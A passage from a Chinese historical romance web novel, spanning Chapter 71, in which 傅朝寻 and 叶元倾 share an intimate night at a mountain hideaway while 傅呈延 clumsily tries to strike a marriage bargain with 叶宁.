傅朝寻牵着她的手往厨房里走,道:“我和卫知这段时间一直住在这里,这里很安静,也很安全。平时我出去办事,卫知就在家学着做饭,他现在厨艺很好,炖的大鹅,百吃不厌。” “他还会炖大鹅?”叶元倾更加期待了,说:“卫知跟了你这么多年,比亲兄弟还要亲,他重情重义,又对你不离不弃,以后我们都要对他好一些。” 世上能有这样尽心尽力的人实在不多。 傅朝寻应着,说:“等事情结束了,我会在京城给他买一座府邸,往后余生不能再让他跟着我东奔西跑了,等他娶到心爱的姑娘,再把他父母接到新家里,一家人团聚在一起,肯定非常幸福的。” 家庭美满,是多少人所期盼的。 清风吹来,桃花飘落在傅朝寻的头上,叶元倾踮起脚尖帮他拿了下来,然后在他唇上亲了一口,说:“以后我们的家也会非常美满幸福的,努力的人,配的上这世间最美好的东西。” 她说话总是很温柔,语音又那么好听,一双明眸里全是爱,好像有了爱和希望,浑身都充满了力量。 他看的痴了,低头想亲她。 “公子。”卫知突然端着一盘子菜从厨房出来。 他看到二人要亲吻,又立马转身就往回走。 “卫知。”叶元倾叫住他,走上前,笑问道:“做了什么好吃的?” 卫知停下,看了一眼耳朵通红的傅朝寻,嘿嘿笑了笑,回道:“炒了几个菜,炖了一只大鹅,已经做好了,端过去就可以吃了。” 叶元倾应着,开心地钻进厨房去端菜。 饭菜摆好以后,三个人坐下来,叶元倾看着一大盘子大鹅肉,肚子又咕噜噜叫起来。 傅朝寻湿了帕子帮她擦了擦手,夹了一只鹅腿放到她的碟子里,又给她盛了一碗汤。 叶元倾看了看卫知,感谢道:“卫知,谢谢你把傅朝寻照顾的这么好,这段时间辛苦你了。” 卫知又嘿嘿笑道:“元倾姑娘不必与我客气,照顾公子是我应该做的。我隐瞒公子活着的消息,希望你别生气。” 叶元倾摇摇头:“我不生气,我还挺开心的,起码他能在这里安心的生活一段时间。” 傅朝寻总是走在刀锋剑刃上,难得在这种美丽的篱笆小院里住上几天。 卫知感动地点着头:“快尝尝我做的好不好吃,若是好吃,以后我经常做给你们吃。” 叶元倾夹起鹅腿咬了几口,连连点头道:“好吃,太香了,比将军府的厨子做的还要好吃。” 她又喝了一口汤,夸赞道:“烫也好好喝,卫知的手艺真的太好了,还记得前不久我们在侯府的时候,你和傅朝寻一起给我做饭吃,当时差点把厨房都烧了,没想到这么短的时间厨艺进步这么大,卫知你太优秀了。” 卫知被她夸的脸都红了,一直嘿嘿地笑着,说:“记得那时候我们到街上吃了混沌,还放了许愿灯,我当时许的愿望是,希望我和公子今年春天都能娶到心爱的姑娘,现在虽然已到四月天,相信还不晚。” 叶元倾点着头:“不晚,一点也不晚,卫知许的愿望一定会实现的,就算春天过去了,还有夏天,秋天,冬天,只要愿望能实现,哪一天都不晚。” 卫知好奇地问她:“那天,元倾姑娘许的什么愿望?现在有没有实现?” 叶元倾看了看傅朝寻,脸颊突然红了,说:“我许的愿望不方便说,不过马上就要实现了。” 她说不方便,卫知也没再问。 叶元倾啃着鹅腿,唇边沾了油,傅朝寻拿起帕子帮她擦了擦,道:“吃了饭,我带你到附近走走,这里空气很好,适合安静地散步。” 叶元倾点着头,夹了一道菜递到他唇边:“快尝尝这个,太好吃了。” 她突然要喂他,傅朝寻有些不好意思地愣了一下,看了一眼卫知。 卫知急忙埋头干饭,就当什么也没有看见。 叶元倾又把菜往他唇边送了送,他红着耳朵张开了口。她这个暧昧动作,让他心脏砰砰直跳,看着她红润的嘴唇又想去亲她。 卫知偷偷看着二人,由衷地替他们开心,这两个人走到如今,实在太不容易了。当初他隐瞒公子的生死,只是想让公子远离残酷的京城,重新开始生活。现在他发现,公子能坚强的活到今天,也许全凭叶元倾的支撑。 那天公子对他说:“卫知,没有了叶元倾,就如同点亮我生命的灯灭了,没有光亮的后半生,不会比糟糕的前半生过得更好。我需要她,我也相信我们总有一天会牵着手走到宽敞平摊的大道上。元倾从来没有放弃过我,以前和现在她都没有放弃我,我又怎能放弃她。” 无论前世还是今生,无论她过得好与不好,她从来都没有离开过他,也没有离开过他们的家。 卫知被他们轰轰烈烈的爱情感动的热泪盈眶,后来再也不会劝公子放弃了,也真心希望他们能永远幸福。 —— 傅朝寻抢亲的事情轰动了整个京城,街道上议论纷纷,明明已经死了的人突然又活了过来,还从太子手里抢走叶元倾,实在令人震惊。 亲王府里还挂着傅峥临去世时的白绫,傅亲王和王妃还在满世界寻找杀害傅峥临的凶手,消息传到亲王府以后,府上的人不知是该哭还是该笑了。 傅呈延又来到父亲的房间,父子俩又是默不作声地坐着。 这段时间,傅柏弘一连痛失两位儿子,打击实在太大,人都瘦了一大圈。 傅呈延笔挺地坐着,时不时看向父亲,心情很是复杂。 过了一会,傅柏弘问道:“可是有了寻儿的t?下落?” 傅柏弘还是非常关心的,傅朝寻毕竟是自己的亲生儿子,这个儿子带给了他太多痛苦和愧疚,从某一方面来说,傅朝寻在他心中非常不一样。 傅朝寻能文能武,能力极强,又从来不向他抱怨,虽然这段时间他改变了很多,但是能看出来他生命力极强,又有一种不服输的劲头。 三个孩子里,就属他最优秀。 只是,他却不是嫡长子。 以前他以为让傅朝寻辅佐傅呈延,就能很快完成计划把皇位争夺过来,但是经过一系列的事情发生以后,他觉得他需要改变一下计划了。 他应该早就明白,弱肉强食,有能力的人并不会被身份束缚。当初他也不是嫡长子,不也因为皇位争得头破血流。 他抬眸去看傅呈延,傅呈延也正看向他,父子俩措不及防地对视上。 傅呈延一眼就看出了父亲的心思,父亲想换个人培养,父亲想放弃他这个嫡长子,让傅朝寻争夺皇位。 父亲很明显在考量了。 傅呈延不知不觉握紧了拳头,过了好一会才开口:“孩儿已经派人去寻找了,就算找不到,他们也会回来,叶元倾被抢走,太子不会轻易放过叶家,也会拿叶家来威胁傅朝寻,现在我们只等着就好。” 傅柏弘清楚局势,他应了一声,思忖片刻道:“国舅爷的小儿子有意迎娶叶宁,这个人不怎么样,太师大人应该不会答应,但是又担心皇家赐婚,现在正在犯愁。亲王府若想让叶家帮衬,也不一定非要迎娶叶元倾,迎娶叶宁也一样。能看出来寻儿对叶元倾情深义重,他应该不会轻易松手的。不如,你考虑考虑叶宁,然后找个时间去太师府拜访拜访。” 父亲想让他迎娶叶宁? 傅呈延眉头紧蹙起来,在他眼里,叶宁和禹国公主一样,都是个孩子,他对这样的女子根本不感兴趣。 但是,他若是不迎娶叶宁,父亲一旦放弃他,他就什么都没有了,好歹娶了叶宁还有翻盘的可能。 父亲是在给他最后的机会。 傅柏弘见他沉默,又道:“这个时候叶家正处在左右为难关头,只要你去提亲,叶家人一定会答应。将军府的人很喜欢寻儿,只要寻儿还活着,他们就不会站在太子那边,现在叶家人的态度已经很明显了。” 好像的确如此,将军府的人非常喜欢傅朝寻,也打算把叶元倾嫁给他,想帮傅朝寻手里抢走叶元倾,比登天都难,连太子娶她,傅朝寻都敢抢,何况旁人。 他思忖了一会,回道:“此事容孩儿考虑考虑,我会尽快给父亲答复。” 傅柏弘应了一声,让他出去了。 —— 这两日将军府门外一直被太子的人把守着,太子还把叶元恒叫去了皇宫,说是与他有要事商议,实则是把他软禁了起来。 傅朝寻带着叶元倾不知所踪,只要抓着叶家人不放,他们早晚都要回来。 叶展桡在前堂里急得来回踱步,实在不知该如何是好。 叶元萧安慰他:“父亲莫要着急,傅朝寻和妹妹一定不会不管不顾,想是很快就能回来。大哥那边你也放心,我已经打听过了,太子和太后没有为难他,只是把他关了起来。” 叶元恒的妻子沈倩抱着襁褓中的女儿,含着眼泪问:“那要关多久?什么时候能放出来?要是傅朝寻和妹妹一直不回来,元恒就一直被关着吗?” 孩子才刚生下来没多久,这对于沈倩来说,天都要塌了。 温容走到她跟前,抓起的她的手,安慰道:“倩儿别担心,无论如何我们都会把元恒救出来的。你刚生完孩子,万不能太伤心难过,也别累着。你放心,元恒很聪明,又有应变能力,他不会有事的。” 傅青也安慰道:“倩儿莫哭,祖母已经让你祖父的同僚去皇上那里求情了,皇上一直不管不问,也不知怎么打算的。这事就算皇上不解决,祖母也会想办法解决。” 傅青作为前朝公主,不说很有权利,起码皇家也要给她一点面子,如今太子太后软禁她的孙儿,这是一点也没把她放在眼里。 叶展桡叹了口气道:“我现在就去一趟皇宫,你们且安心在家等着。这事,有挽回的余地。” —— 叶卓在陵国待的实在太久,禹国皇帝早就着急了,已经派人催了好几遍,今早又有禹国的人来催。 雨后的空气特别清新,院中的大树已经枝繁叶茂,风一吹尽是绿叶的味道。 叶卓站在树下,望着头顶上一对嬉戏的鸟儿,无声地叹着气。 “二哥哥!”叶宁从房间里出来,叫了他一声。 叶卓转过身,迎上她,望着她红肿的双眼,问道:“李家的人又来了吗?” 李家的嬷嬷已经来太师府好几次了,每次来都带着礼物,还直言说李二公子有意迎娶叶宁。 全京城没有人不知道李二公子是个什么样的人,谁家若是嫁给他,可是倒了八辈子的霉了。 叶宁垂下头,愁着小脸道:“今一早来的,那嬷嬷一进家就冲到我的院子里,非要与我当面说说,被我娘赶出去了。我们好歹也是太师府,他们李家人实在太嚣张了。” 叶卓问她:“妹妹如何打算?” 打算?她能有什么打算。 她摇摇头道:“纵使父母再疼爱我不让我嫁,也挡不住皇家人一道圣旨,若是他们真有这个能耐求个赐婚,我也只能认栽了。元倾姐姐不也是无能为力穿上婚服上了花轿,元倾姐姐有傅朝寻保护,我有谁呢?” 她说着说着眼眶红了,身为官家子女,婚姻从来都不是自由的,她和叶元倾生在叶家,已经算幸运的了。 叶卓抚上她的肩,安慰道:“妹妹别怕,总会有办法的,元倾有傅朝寻,但是妹妹有二哥哥呀!哥哥不会让你陷入危险。禹国那边一直在催我回去,若我再不回去估计要出大事,我在想,等我回了禹国,就去求我父皇收你做义女,然后给你一个公主封号,皇上主动取消了傅呈延的婚约,欠了禹国人情,若是我父皇收你做义女,皇上这边不会阻拦,如此,你就能有望摆脱李家的纠缠了。” 办法是不错,但是那样她就真的成了他的妹妹,他们今后的关系就不可以再有改变。 叶宁沉默了好一会,问他:“你是打算现在就回禹国吗?还能回来吗?” 叶卓回道:“今日就启程,还不确定什么时候能回来,不过妹妹放心,我到禹国第一件事就是去找父皇,你们这里先拖着,别答应,也别惹急了他们。” 叶宁低下了头。 叶卓又道:“妹妹,我们注定是要做一辈子的兄妹,我说过,无论在哪里,无论我什么身份,我都会永远把你当做亲妹妹一样对待,也会继续疼你宠你,若是你做了禹国公主,和我的关系就能更亲近了,以后也没人敢打你的主意。” 一辈子的妹妹。 他把话说的那么死。 叶宁再抬眸看他,望着这张看了十几年的脸,感觉心里空空的,又突然觉得他离她好远,他已经去了她永远都够不到的位置了,他现在递给她的只是一把通往亲情的梯子,而不是通往他心里的梯子。 春风吹得她鬓边的秀发飘起,好像也吹醒了她。 她无声地笑了笑,说:“二哥哥,你先回禹国,这里的事情我父亲已经在想办法了,相信不会有事的。无论我以后如何,这都是我的命了,不过我命好,不会出事。你刚做了太子,在禹国也会很辛苦,若是一直牵扯陵国的人,会给你带来麻烦。你安心把你的事办完,有时间了再来看我。” 他没想到她会拒绝,他看着她忧愁的小脸,很是心疼,可能这段时间遇事多了,她也开始有了变化,思考的问题也深了。 两个人都未再说话。 过了一会,叶卓从衣袖里掏出一块令牌放到她手中,说:“这是禹国太子的令牌,虽然不知道以后对你是否有用,但哥哥还是要把它留给你,若是遇到解决不了的困难,你就拿着它去禹国找我,陵国这边我无能为力,但是禹国那边我定能保你平安。” 保她平安。 这句话她听着很是感动。 她看着令牌,鼻子酸酸的,回道:“妹妹多谢二哥哥,我会好好收着,等你到了禹国也要照顾好自己。” 叶卓揉了揉她的脑袋,轻声应着。 叶卓收拾好东西就走了,叶宁追到院门外送他,看t?着他骑着骏马渐渐走远,一直憋着的眼泪终是流了下来。 她的二哥哥走了,不知此生能否再见。 回想这么多年他在叶家的种种,突然发现,他就像挂在屋檐上的一盏灯笼,风雨无阻,没有任何怨言地默默地照亮着太师府。 只可惜,到头来,他对叶元倾满腔的爱意也被风吹散了,昏暗的街道上只留下他孤独的背影。 —— 山间的夜里有点凉,春雨过后,山路两旁的绿植更葱郁了。 叶元倾和傅朝寻并排往山上走着,周围有点黑,但是叶元倾一点也不怕。 山谷里很安静,偶尔听到虫鸣声。 他们好像还从来没有这样毫无杂念地一起散步过,即便一句话不说,也很开心。 傅朝寻勾住她的手指,让她离自己更近一些,叶元倾动了一下手,与他十指相扣。 两个人走了很久,从半山腰一路往上走,虽然不怎么说话,但是都能感受到两颗心是紧挨着的。 上山的路越来越陡,他蹲下身把她背起。 叶元倾紧紧搂着他,把脸贴在他的后背上,轻声问:“我们到山顶看什么?” 傅朝寻回道:“去看感受夜风,去看星空,这里的星星和京城的不一样,非常干净明亮。” 星星还能不一样。 叶元倾笑了,说:“你现在说话越来越有趣了,也越来越好听,我很喜欢。” 他也笑了笑道:“那我以后经常说给你听,以前我不爱讲话,是因为怕说错了,现在我不怕了。” “为什么不怕了?” “因为你太在乎我了,不会真正与我生气,也不会离开我。” 她嘿嘿笑了:“那你以后就对我多说点,说什么我都喜欢听。” 两个人上了山,山顶上微风徐徐,星空璀璨,和他说的一样,夜风很温柔,星空很璀璨。 傅朝寻脱掉外衣铺在地上,和她一起躺在上面,把她搂在怀里,望着夜空,清声说:“你知道我那天许了什么愿望吗?” 叶元倾把头枕在他的手臂上,问他:“什么?” “我许的愿望是,希望能见到我的娘亲,希望他能牵起我的手,叫我一声寻儿。但是我又清醒的知道,这个愿望是不会实现的。我一直都很想知道我娘亲长什么样子,有人说我娘亲是京城里最漂亮的人,有人说她有才华,又善良,还很温柔。京城里很多人都见过她,但是我却从来没有见过。” 他停了一会,眺望着夜空中那颗最明亮的星星,继续道:“小时候住在叶府的时候,我就特别喜欢去你们院子里,那时候你还是个小婴儿,我看着你娘亲抱着你坐在院中拿着拨浪鼓逗你玩,我就非常非常羡慕。我看着你娘亲宠溺的模样,我看着你娘亲对你温柔地笑,我总是把她想象成自己的娘亲。我想,天下所有的母亲应该都是那样的,都很温柔,都很爱自己的孩子。” 母亲在他心里有着不一样的意义,因为不曾拥有过,所以会觉得是世上最美好的存在。 叶元倾抓起他的手与他十指相扣,轻声说:“以前你没有,以后你就有了,我们成了婚,我娘亲会把我一半的疼爱都分给你,再加上我的疼爱,你就可以拥有一百分的爱了,到时候会有很多人羡慕你,非常羡慕你。” 他曾经缺失的东西,她会给他补回来。 “元倾!”他轻声叫她,把她搂的更紧了。 山顶的风景很美,两个人躺了很久,回到小院时已经深夜了。 卫知好像睡下了。 傅朝寻带着叶元倾进了屋,把蜡烛点上,倒了一杯温茶递给她。 叶元倾坐下来,喝了口茶,环顾四周,目光落在那张干净整洁的大床上,脑子里突然闪现出白天和他在一起的画面。 他解着衣衫,问她:“你还要洗洗吗?卫知应该睡了,我去给你烧水。” 她放下茶杯,忙道:“不用了,白天已经洗过了。” 他换了一件寝衣,寝衣洁白轻薄,勾勒出他好看的身形。 她从身后看着他,看着看着有些痴了,不自觉地舔了下嘴唇。 他把换掉的衣衫挂好,转过身来,正对上她炙热的目光。 她害羞地躲避了一下,一想到要一起睡觉,脸颊立马红了。 她小声说:“把灯灭了吧!” 灭了灯,再害羞也不觉得尴尬了。 他笑了笑,说:“不用灭,我喜欢看着你。” 喜欢看她害羞的样子。 叶元倾低头拢了一下头发,脸颊更红了。 他走上前把她扯起身,又习惯性地捏起她的下巴,说:“其实,我很想知道你那天许了什么愿望,吃饭时你说不方便说,到底是什么不方便说,我实在好奇。” 他个子很高,又总是捏她的下巴,她抬头看他,抬累了,还得踮起脚尖配合他。 她挺了挺脊背,抓着他的手腕,张了张唇,说:“待会在床上告诉你。” 第 71 章【VIP】 第71章 第 71 章 “听话,才刚开始,别停…… 前世两个人从成婚到去世, 都没有敞开心扉地待在一起过,要么默不作声各做各的事,要么一句话说不好就开始生闷气, 有时候她实在受不了就发泄发泄或者说他几句, 而他只会笔挺地站着一言不发。 任何时候闹矛盾或者吵架,他都不会摔门而出,也不会说难听的话。 两个人就那样拧巴着过了七年,现在想想,短暂的人生里,他们竟然浪费了七年。 如今爱的深了,回头看看曾经那些别扭、冷战和争吵, 多少有点幼稚了,那时候但凡两个人其中有一个主动一点, 勇敢一点,包容一点,也不会落一个悲惨的下场。 世上没有那么多重头再来的好事,他们现在真的很珍惜这来之不易的机会。 山间的空气很清新, 房间里都是花草的味道,橙红的烛光熏陶着气氛。 叶元倾把话说完小脸更红了, 一双杏眼亮闪闪的,整个人都在发光。 傅朝寻松开她,迫不及待地把她拉到床边, 先帮她脱掉鞋子,又把她的外衣脱掉, 扯了被子搂着她躺下。 他一手支着脑袋,一手搓着她娇嫩的红唇,轻声问:“现在说说吧!到底许了什么愿望。” 叶元倾躺在他身前, 抬眼看着他,一只手不自觉地摸上他的胸口,小声回道:“就是……希望每天都能看到你,希望晚上睡觉的时候你都在身边搂着我,我不想过以前那种冷冷清清的夫妻生活。” 七年,那么多个日夜,她已经怕了,有时候想永远留在将军府里不成婚。 她轻声说着:“我们叶家人多,小时候都是在一个院子里生活,家里的兄弟姐妹关系都好,大家在一起吃饭,一起学习,一起玩耍,被欺负了有人护,想吃什么都有人买,大雪天还可以一起打雪仗,那种其乐融融的家庭氛围会让我很开心很有安全感。我一直以为每个家庭都一样,但是当我嫁到亲王府以后,我才发现原来每个家庭是不一样的,亲王府就像一个偌大的牢笼,待在里面每天都要小心翼翼,每天都期盼着什么时候能飞出去,我很害怕,我很恐慌。那时候你又经常不在家,我一个人总是坐在院子里,从清晨坐到傍晚,后来已经不知道快乐是什么了。” 她往他面前凑了凑,看着他好看的眼睛,又温声说:“那天许愿的时候,我已经想好了,若是还有机会,我一定还会嫁给你,我喜欢你,我非常喜欢你,我也希望再嫁给你以后,不再过那种凄凉的生活。” “傅朝寻。”她很认真地问他:“我这个愿望会实现吗?” 她想多要点陪伴。 “当然能,一定能。”他伸手抚上她的脸颊,也很认真地保证:“元倾!以前是我不好,以后我绝不会让你再受那种委屈,等这次事情结束了我们就成婚,我们搬到侯府里,我也会每天陪着你。我也向你保证,此生绝不会纳妾,一生一世只要你一人。” 他说的很诚恳,还有点紧张。 她往他身前靠了靠,看着他闪动的眼眸,笑说:“我相信你,非常相信你。” 她说完,扯了一下他的衣领让他低一点头,倾身亲了上去。 二人气息交融,他的眼睫轻颤了几下,一个晚上都在忍耐的情愫一下被她激发出来了,好像血液将要冲破一寸寸肌肤,把他带到了难捱的欲望中去。 她这幅柔软娇小的身子实在太勾他了,就连温柔的气息都让他着迷。 她主动亲他时,一只手还在他胸口摸索,好似小小的身体里困着一头小野兽,想要霸占他,但是行动起来又t?温柔的不行。 他伸手钳住她的小脸,她整张脸都被他拖在掌心里,好像拖着一只软萌的小兔子,她微眯着眼睛去看他,见他眼睛里尽是浓浓欲、色,还带着极强的攻击性,禁不住吞咽了几下口水。 她瘫在他怀里,轻轻叫了一声“傅朝寻”。 他“嗯”了一声,修长手指碾了一下她微张的红唇,慢慢探入她的口中,开始一圈圈绕她的香舌。 他又用手指撩拨她,她有点抵抗不住,喘着气,轻含了下之后去咬他。 她咬得用力,他疼的皱了一下眉,仍旧轻绕着不出来,他看着她娇羞躲避的样子,整个身体都是亢奋的,耳朵,脸颊,脖颈,通红通红。 他垂眼,滚动了一下喉结,呢喃了一声:“再来。” 还来? 她轻摇了下头,嘴唇被他的手指霸占着,说不清话。 “灭……灭灯。”她努力说了一声,羞得实在不敢看他,以前觉得他发起瘾来不好控制,现在觉得不仅不好控制,精力还非常旺盛,不愧是二十出头的年纪。 她的舌尖被他修长的手指一圈圈绕着,好像没有灭灯的意思。 叶元倾缩了下身子想挪开,他低喃了句:“别躲。” 她停住没敢动,浑身烫的不行,额头开始流汗。 被他钳住的小脸有些酸了,眨眼去看他,希望他能放开。 他见她露出了无辜难耐的神色,终是收回了手,然后将她捞进怀里,开始亲她的脖颈,她的耳朵。 她被他亲的浑身酥麻,闭着眼睛不敢睁开,白天折腾的太累了,晚上很想睡觉,但是一旦开了头,又很难控制住。 她仰起头,一头秀发垂下来如瀑一般,指尖不知不觉掐进他的皮肉里。 她往后撤身。 她想退缩。 他抵上她的额头,轻哄道:“听话,才刚开始,别停。” 不停她又要被他生吞了,她熬不过他。 最终,她在他温柔的攻势下妥协了,也不再控制自己的情绪。 他睁眼看了看她,低低笑了声。 他又笑,她的脸更红了。 “元倾!”他轻轻叫了她一声。 随着他的呼喊声,她的身子一颤,细细应了声。 一个晚上,叶元倾几乎没有休息的机会,摊下去又被他捞上来,想逃跑又总是被他哄的控制不住。 生命力太强的人,精力也很旺盛。 她有点顶不住。 —— 清晨的空气格外清新,太师府一大早就迎来了一位贵宾。 叶宁直挺挺地愣了许久都没有反应过来,她看着眼前一袭月色锦衣,身躯挺拔,眼神淡漠,矜贵而又高傲的傅呈延,感觉就像被雷劈了一样。 她的娘亲看了好几眼傅呈延,都感觉自己方才听错了。 他说要约叶宁去玉湖划船? 他这样一个平时连面都见不到的贵公子,突然邀请叶宁去划船? 叶琛和叶绍躲在回廊的柱子后面,看着八竿子打不着的二人,唏嘘了好一会。 叶绍问叶琛:“傅呈延不会真的看上叶宁了吧!依他的性格,怎么也不会亲自跑一趟约人。” 京城里没有人知道,傅呈延很高傲,很神秘,就连他们的父亲太师大人都很难约得到他,何况一个小姑娘家。 叶琛思忖了一会道:“我觉得没有那么简单,我听说他之前去找过元倾,还打算迎娶元倾,元倾被傅朝寻带走以后,可能又打起了叶宁的主意。” “他想干什么?”叶绍问。 “应该是想拉拢我们叶家人。只是,亲王府若想和叶家联姻,有傅朝寻和叶元倾就够了,何必还要再来找叶宁?”叶琛也有点猜不透。 “别管他什么目的了,总比让妹妹嫁给李二公子强,嫁给傅呈延或许还有救。” 今日的天气很好,暖风徐徐,晴空万里。 叶宁呆愣地看着傅呈延,总觉得不真实,她紧张地说:“你等我一会。” 她去换身衣服。 傅呈延应了一声,很有耐心地等着她。 叶宁回屋换了衣服就跟着他出了太师府。 二人上了马车,昏暗的马车里,叶宁偷偷看了傅呈延好几次,心里一直在打鼓,猜不透他为何突然来找她。 他一直沉默不言,她也不敢说话。 过了很久,傅呈延说:“我是来帮助你的,我们两个做个交易如何?” 帮助她?做交易?叶宁更迷惑了,她以前不是很了解傅呈延,只听说过他长相好,气质好,就是太高傲。 之前他们在皇宫里见过,确实和外人说的一样。 她直愣愣地看着他。 傅呈延瞥她一眼,放轻了点语气道:“李家二公子想娶你的事我听说了,他这个人不怎么样,你嫁给他不会有好下场,你不如嫁给我。” 嫁给他?这是来求亲吗?怎么说的那么霸道?跟个救世主似的。 叶宁眨了眨眼,许久说不出话来。 傅呈延冷眼看她,又道:“我们成了婚,你若是不想跟我,可以分开住,过个一年半载再和离,到时候你还想再嫁,我也可以帮你挑郎君,也不会让人议论你。” 叶宁懵懵的,问他:“你想干什么?” 傅呈延毫不隐瞒地回道:“我想让你们太师府帮我,但是我又不喜欢你,所以想先……” 不喜欢她? “你不喜欢我你娶我干什么?”叶宁蓦地瞪了下眼,都没听他把话说完,拒绝道:“你别打我的主意,我不懂你们朝堂上的事,你想让太师府帮忙,你去找我父亲或者我兄长,你别来毁我。” 毁她? 傅呈延眉头皱的更紧了。 叶宁掀开车帘就喊:“停车,我要下去。” 傅呈延不想她是这样的反应,一把抓住她的胳膊,冷声道:“你先听我把话说完。” “不听。”叶宁甩他的手。 她现在因为李家的事情就已经够烦的了,现在又来一个有毛病的,她的火气一下就上来了。 傅呈延猛地一扯,不想用力太大,竟把她甩到了地上。 “你……你……”叶宁气的怒瞪他。 傅呈延跟傅峥临一样,都不是好东西。 她要起身,傅呈延一手按住她的肩膀,低眸看着她,冷笑道:“我都没有嫌弃你,你还嫌弃我?我都说了我是来救你的,你别不知好歹。” 她不知好歹? 叶宁被他按着不能动,气的红了眼眶,愤然道:“你算个什么东西,你还嫌弃我,你不喜欢我你来招惹我做什么?你这样和李二公子又有什么区别?” 亲王府这一家子,除了傅朝寻,没有一个好东西。 “你敢骂我?”傅呈延头一次被人骂,脸都气红了,止不住地冷笑。 以前他觉得叶元倾脾气够倔了,没想到还有一个更倔的。 叶宁冷哼一声:“你都能对我动手,我为何不能骂你?” 傅呈延气的一时语塞,松开了她。 叶宁爬起身,还想下马车,又被他一把拉住,傅呈延抬高了嗓门冷喝一声:“你给我安静些,别逼我再对你动手。” “你还想动手?”叶宁使劲挣扎了几下,挣脱不了就坐了下来,把脸别到一旁,气的大喘着气。 傅呈延见她这幅样子,冷笑道:“但凡一个正常女子,深处险境时都会冷静思考思考,结果你连话都没听完就开始撒泼,简直幼稚至极。” “我幼稚?”叶宁长这么大头一次被人这么说,她又狠狠地甩了一下他的手想要下车,结果他力气太大,怎么也挣脱不了。 傅呈延被她挣扎的厌烦,沉沉叹了口气,手上又用了些力。以前他很少与女子接触,就算有接触也都是有能力又聪明还能为他办事的女子,今日还是头一次见这么冲动又愚蠢的。 叶宁和叶元倾是堂姊妹,两个人明明看起来那么像,孰料性格差别这么大。 叶宁气呼呼的把脸别到一旁,一想到最近发生的事情就一肚子气,李家二公子纠缠着不放也就算了,她的二哥哥叶卓也走了,现在还被人欺负,她真的要爆炸了。 她越想越气,越想越难过,想着想着眼泪一流,呜呜哭了起来。 傅呈延眉头都要拧成麻花了,他这是招惹了一个什么女人。 她一直哭,他忍不住呵斥她:“不许再哭,否则我把你扔到城外去。” 叶宁擦了擦眼泪,这几天憋的气正没地方撒,她抓起他的胳膊狠狠咬了一口,哭着道:“有点身份就了不起?就可以随便欺负人?我是弱女子,我柔弱,我不会武功,我没有权利,你们就可以想怎么欺负就怎么欺负?想迎娶就迎娶?有没有尊重过我?凡是拿女子来争权夺势的男人,都是没有本事的窝囊废。” 傅呈延吃疼地哼了一声。 窝囊废? 叶宁骂的难听,也很委屈,以前她一t?直活的无忧无虑,也一直觉得成婚需要两情相悦才可以,可是现在,她却成了官场上攘权夺利的牺牲品。 她喜欢傅峥临,傅峥临欺骗她,她喜欢叶卓,叶卓又不接受她,现在倒好,又来一个张口就说不喜欢还要迎娶她的,她怎么这么倒霉。 她哭得梨花带雨,像个撒泼的孩子。 傅呈延揉了揉突突跳的眼皮,脸都气绿了,他竟然被一个女子说是窝囊废。 叶宁又狠狠甩他的手,他就是紧抓着不放,说不过她,还没点力气了。 两个人就这样僵持到玉湖。 傅呈延扯着叶宁下了马车,叶宁不想在街上丢人,擦干了眼泪没再做声。 傅呈延一直抓着她的胳膊,害怕她跑了,虽然她骂的难听,但是太师府是他唯一的希望了,他不想让父亲放弃他,他再不情愿,今天这个船也得划。 他走的快,叶宁被他拽的踉踉跄跄。 二人到了划船的地方,旁边卖甜品的老板喊住他们,笑盈盈地说:“姑娘,买点甜品吧!吃点甜的会更开心。” 开心?她哪里开心了?她的眼睛都快哭肿了。 叶宁看了一眼造型好看的甜品不禁顿住了脚步,好像有她爱吃的蜜果糕。 傅呈延停下来,瞥了一眼那些花花粉粉的甜品,皱着眉头掏出一锭银子给老板,冷声说:“一样拿一个。” “好嘞!”老板接过银子,麻溜地给他们盛了一袋子。 傅呈延接过来递给叶宁,然后拉着她到旁边要了一条小船。 他就像做任务似一样,把叶宁拉到船上,拿起船桨,冷着脸向前划,完全没有心情赏风景。 叶宁抱着一袋子甜品呆呆地坐着,虽然不哭了,但是脸色不太好,看傅呈延时眼里像冒着刀子。 俩人划了一会船,叶宁从袋子里拿了一块蜜果糕吃起来,蜜果糕甜甜的,吃到肚子里心情好了一点。 傅呈延蹙眉看着她,完全不能解她现在怎么还能吃得下东西。 小船划到湖中央,一朵柳絮飘来,叶宁伸手接在掌心,柳絮就像雪花一样好看,却没有雪花冰凉。 那天她还和卓哥哥打着雪仗,怎么一转眼就到四月了呢? 她看着柳絮,触景生情,不知不觉又红了眼眶,只是眼泪还没掉下来就被傅呈延呵斥住了:“不许哭。” 叶宁吓得打了个激灵,拿着糕点向他脸上砸去,他惊了一下,眼疾手快地一把接住,结果船桨掉到了湖里,小船开始晃晃悠悠。 叶宁也跟着一阵摇晃,眼看船就要翻了,她一把抓住了傅呈延的衣服。 傅呈延正在捞船桨,她不抓还好,她一抓,两个人晃了几下,一起掉进了湖里。 叶宁咕噜噜喝了几口水,双手开始乱抓,抓到傅呈延的头发使劲扯了几下。 傅呈延疼的哼了几声,揽住她的腰开始往岸边游,这时候船家也带了人过来打捞他们。 二人安全上了船,傅呈延全身都湿透了,头发也凌乱不堪,他抓狂地喊了一声,气得双手发抖,长这么大,他还从未这样狼狈过,况且还是在这么多人面前。 叶宁吐了几口水,看着他跟个落汤鸡似的,没忍住笑了声。 “别笑。”傅呈延冷喝她,真的很想把她推进湖里。 船到了岸边,两个人上了岸,船家说要带他们去换衣服,傅呈延不愿意,冷哼几声后架起马车离开了,把叶宁一个人丢在了湖边。 叶宁在后面喊他:“傅呈延,你这个伪君子,你给我停下。” —— 叶元倾和傅朝寻到了午时才起床,睡了一夜之后,两个人都精神多了,叶元倾气色也好了。 傅朝寻坐在床边穿着衣服,叶元倾扯了下他的衣衫,看了看他腰部的伤疤,心疼地问:“现在还会疼吗?” 伤疤那么大,她看着都疼。 傅朝寻拿衣衫盖了盖,回道:“早就不疼了。”又问她:“你害怕吗?” 他身上伤疤太多,他怕吓着她。 叶元倾从身后抱住他,轻声回道:“一点也不怕,很心疼,以前你每次受伤回来我都心疼的不行,但是又帮不了你。” 他抓住她的手,没有转头看她,不忍看到她眼里的忧伤,轻声说:“放心,以后不会再受伤了。” 为了他们的将来,他要好好珍惜这幅身体。 两个人抱着腻歪了一会,洗漱完出了房间。 卫知正在院子里晾晒衣服,看到他们出来,笑说:“我今天顿了鱼,还炒了几道菜,快去尝尝怎么样。” 卫知总是这样任劳任怨,让叶元倾很感动。 她走上前帮他把衣服晾上,嘿嘿笑道:“卫知炖的大鹅那么好吃,鱼也一定很好吃,把衣服晾晒好我们一起去。” 